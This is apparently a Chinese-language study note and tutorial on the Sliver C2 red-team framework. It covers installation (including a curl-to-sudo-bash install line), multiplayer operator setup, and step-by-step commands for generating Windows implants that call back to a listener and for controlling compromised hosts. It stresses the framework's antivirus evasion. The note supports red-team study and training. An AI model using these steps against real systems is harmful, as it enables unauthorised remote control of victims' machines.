Sliver工具研究
官方地址:https://github.com/BishopFox/sliver
Sliver
Sliver C2 是一个开源的跨平台红队框架。
常见术语:
- implant - 用于保持访问权限的软件,通过使用C2命令
- beacon - 1 一种通信模式,定期连接C2服务器;2 CS beacon
- Stage - 载入的方法,阶段式或非阶段式
提供两种操作模式:
- Beacon mode:实现了一种异步通信方式,定期(1min)检查通信情况
- Session mode:实现了实时会话方式
优势:
- 免杀能力极强
- 模块化,提供了多种扩展,如armory可以安装各种第三方工具(BOF、.NET 工具等)
- 多操组员模式
- 开源
- 支持多平台(Linux, Windows and MacOS)
Sliver C2 架构
主要由四部分构成:
服务器控制台 - 服务器控制台是主界面,通过 sliver-server 可执行文件启动,所有操作代码都在客户/服务器控制台之间共享;服务器控制台通过一个gRPC接口与服务器进行通信。
Sliver C2 服务器 - Sliver C2 服务器是 sliver-server 可执行文件的一部分,管理内部数据库,启动和停止网络监听器。与服务器交互的主要接口是gRPC接口,所有的功能都是通过它实现的。
客户端控制台 - 客户端控制台是用于与Sliver C2服务器互动的主要用户界面。
植入物 - 植入物是在目标系统上运行的恶意代码(exe、ps1等)。
各部分的关系及交互形式如下图所示:
安装
Sliver有两个外部依赖的可选功能: MinGW和Metasploit。
- 要启用DLL有效载荷(在Linux服务器上),你需要安装MinGW。
- 要启用一些MSF集成功能,你需要在服务器上安装Metasploit。
以下选择其一进行安装即可(官网 or 脚本)
官网下载server文件直接启动即可(没有使用脚本安装运行)
apt install mingw-w64
./sliver-server_linux
脚本安装(默认单人模式)
apt install git mingw-w64
apt install gnupg-agent #中间有gpg报错,用这个解决
curl https://sliver.sh/install|sudo bash
安装完脚本后sliver启动即可
Server 端默认监听的端口为 31337,如果要修改端口以及 daemon mode(守护者模式)、多人模式的话可以修改配置文件,配置文件位置如下:
vim ~/.sliver/configs/server.json
安装msf
#添加kali源
vim /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
apt install gnupg-agent #中间若有gpg报错,用这个解决
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add -
apt update
apt install metasploit-framework
使用手册
1. 多人运动
multiplayer -l 31339 #多人运动 监听客户端连接端口
jobs #查看监听端口
创建多人运动账号(以下两种情况选择其一)这里我选择直接运行官网的服务端程序
多人运动(官网服务端程序直接运行时)
#服务端
new-operator --name mingsafe --lhost lhost #新建一个client,lhost是服务器IP,lhost也可以写eth0(当前网卡)
multiplayer #启用多用户
多人运动(脚本安装 CLI / 守护进程模式)
#服务端
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --save f8x.cfg #生成客户端认证文件
#修改配置文件改为多人模式
vim ~/.sliver/configs/server.json
接着客户端有GUI时,直接导入生成的cfg文件即可。CLI则使用import导入。
#客户端(有gui客户端直接导入cfg认证文件即可)
sliver import ./f8x.cfg # 导入服务端生成的认证文件
sliver # 再次启动会让你选择使用哪个server
#如果报14error则可能是服务端没开启多用户模式,必须开启多用户模式
#如果服务端断开之后再次连接,连接不上,需要再次打开多用户模式
2. 极速上手
这里选择以http通信为例,生成对应架构的Implant
# 这里我客户端连接操作
# 创建监听器
http -l 9001
# 生成Implant/Payload(sessions/beacon)
generate --http http://172.16.181.182:9001 --os windows #session
generate beacon --http http://172.16.181.182:9001 --os windows #beacon
这里我windows客户端生成了16分钟。。。直接用服务端生成会快一些
被控端双击马儿上线
sliver > sessions #查看session上线的马儿信息
sliver > beacons #查看beacon上线的马儿信息
sliver > use [ID] #进入会话模式
sliver (DIZZY_SHOOTDOWN) > interactive #激活(相当于将CS的sleep设置为0)
sliver (DIZZY_SHOOTDOWN) > info #查看主机信息
sliver (DIZZY_SHOOTDOWN) > background #切换到后台
基本命令
参考文章: